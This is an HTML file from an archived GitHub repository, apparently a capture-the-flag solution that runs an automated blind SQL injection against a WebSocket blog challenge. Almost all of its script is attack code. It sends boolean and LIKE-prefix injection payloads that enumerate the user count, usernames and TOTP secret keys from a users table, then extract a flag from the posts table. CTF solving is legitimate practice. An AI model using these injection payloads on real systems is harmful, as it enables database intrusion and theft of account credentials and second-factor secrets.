This repository has been archived by the owner on Apr 29, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
215 lines (201 loc) · 7.78 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<div id="logs">
</div>
<script src="bundle.js"></script> <!-- https://github.com/BirdsArentRealCTF/Blog-from-the-future/blob/master/index.js -->
<script type="text/javascript">
const socket = new WebSocket(
"ws://challs.houseplant.riceteacatpanda.wtf:30003/ws"
);
const logs = document.getElementById("logs");
const key = randomBytes(32);
logMessage("aesKey", `Generated AES Key: ${key.toString("hex")}`);
const iv = randomBytes(16);
logMessage("aesIv", `Generated AES IV: ${iv.toString("hex")}`);
const AES = new aesjs.ModeOfOperation.cbc(key, iv);
const charset = "0123456789abcdef";
let userCount = 0;
let userNameLength = 0;
let user = "";
let userNameLengths = [];
let users = [];
let tokenLength = 0;
let token = "";
let tokens = [];
let flag = buffer.from("rtcp", "utf8").toString("hex");
const enumUserCount = (success = false) => {
if (!success) {
userCount += 1;
socket.send(
msgpack.encode([
"getPost",
`1 and (select count(*) from users) = ${userCount}`,
])
);
logMessage("userCount", `Enumerating User Count ${userCount}`);
} else {
userCount = parseInt(/\= (.*)/.exec(success)[1]);
logMessage("userCount", `User Count ${userCount}`);
callback = enumUsernameLength;
callback();
}
};
let callback = enumUserCount;
const enumUsernameLength = (success = false) => {
if (!success) {
userNameLength += 1;
socket.send(
msgpack.encode([
"getPost",
`1 and (select length(username) from users LIMIT ${userNameLengths.length},1) = ${userNameLength}`,
])
);
logMessage("usernameLength", `Enumerating Username Length ${userNameLength}`);
} else {
userNameLength = parseInt(/\= (.*)/.exec(success)[1]);
userNameLengths.push(userNameLength);
userNameLength = 0;
if (userNameLengths.length === userCount) {
logMessage("usernameLength", `Username Lengths ${userNameLengths.join(', ')}`);
callback = enumUsers;
callback(false, true);
} else {
enumUsernameLength();
}
}
};
const enumTokenLength = (success = false) => {
if (!success) {
tokenLength += 1;
logMessage("tokenLength", `Enumerating Token Length ${tokenLength}`);
socket.send(
msgpack.encode([
"getPost",
`1 and ((select length(totp_key) from users where username='${users[0]}') = ${tokenLength})`,
])
);
} else {
tokenLength = parseInt(/\= (.*)\)/.exec(success)[1]);
logMessage("tokenLength", `Token Length ${tokenLength}`);
callback = enumToken;
callback(false, true);
}
};
const sendUserPayload = () => {
for (let i = 0; i < charset.length; i++) {
socket.send(
msgpack.encode([
"getPost",
`1 and ((select hex(username) from users LIMIT ${users.length},1) like '${user + charset[i]}%')`,
])
);
logMessage("username", `Enumerating Username ${user}`);
}
};
const enumUsers = (success = false, firstCall = false) => {
firstCall && sendUserPayload();
if (success) {
user = /like '(.*)%'/.exec(success)[1];
if (user.length / 2 === userNameLengths[users.length]) {
users.push(aesjs.utils.utf8.fromBytes(buffer.from(user, "hex")));
user = "";
if (users.length === userCount) {
logMessage("username", `Usernames ${users.join(", ")}`);
callback = enumTokenLength;
callback();
} else {
enumUsers(false, true);
}
} else {
sendUserPayload();
}
}
};
const CalculatePOW = (h) => {
const e = h.toString("hex");
logMessage("powCalculating", `Calculating POW md5(X)[-${e.length}:] = ${e}`);
let i = "";
for (; !md5(i).endsWith(e);) i = randomBytes(8).toString("hex");
logMessage("powCalculated", `Calculated POW md5(${i})[-${e.length}:] = ${e}`);
return buffer.from(i, "hex");
};
const sendTokenPayload = () => {
for (let i = 0; i < charset.length; i++) {
socket.send(
msgpack.encode([
"getPost",
`1 and ((select hex(totp_key) from users LIMIT ${tokens.length},1) like '${token + charset[i]}%')`
])
);
logMessage("token", `Enumerating Token ${token}`);
}
};
const enumToken = (success = false, firstCall = false) => {
firstCall && sendTokenPayload();
if (success) {
token = /like '(.*)%'/.exec(success)[1];
if (token.length / 2 === tokenLength) {
tokens.push(aesjs.utils.utf8.fromBytes(buffer.from(token, "hex")));
token = "";
if (tokens.length === users.length) {
logMessage("token", `Tokens ${tokens.join(", ")}`);
callback = enumFlag;
callback(false, true);
} else {
enumToken(false, true);
}
} else {
sendTokenPayload();
}
}
};
const sendFlagPayload = () => {
for (let i = 0; i < charset.length; i++) {
socket.send(
msgpack.encode([
"getPost",
`1 and ((select hex(group_concat(title) || group_concat(text)) from posts) like '%${flag + charset[i]}%')`
])
);
logMessage("flag", `Enumerating Flag ${flag}`);
}
}
const enumFlag = (success = false, firstCall = false) => {
firstCall && sendFlagPayload();
if (success) {
flag = /\) like '%(.*)%'/.exec(success)[1];
if (aesjs.utils.utf8.fromBytes(buffer.from(flag, "hex")).substr(-1) === "}") {
callback = () => {};
logMessage("flag", `FLAG: ${aesjs.utils.utf8.fromBytes(buffer.from(flag, "hex"))}`);
} else {
sendFlagPayload();
}
}
};
socket.onopen = () => {
setInterval(() => {
socket.send("ÿ");
logMessage("keepAlive", `Keep Alive ${new Date().getTime()/1000}`);
}, 2e4);
};
socket.onmessage = (t) => {
"ÿ" !== t.data &&
t.data.arrayBuffer().then((t) => {
let msg = msgpack.decode(new Uint8Array(t));
if ("" === msg[0]) {
const c = CalculatePOW(msg[1]);
socket.send(msgpack.encode(["", key, iv, c]));
logMessage("handshake", "Sending AES Key, Iv and POW");
callback();
} else {
if ("" === msg[0]) {
parseMessage(msg[1]);
}
}
});
};
const parseMessage = (t) => {
const msg = JSON.parse(
aesjs.utils.utf8.fromBytes(aesjs.padding.pkcs7.strip(AES.decrypt(t)))
);
callback(msg.length === 3 && msg[2].length !== 0 ? msg[1] : false);
};
</script>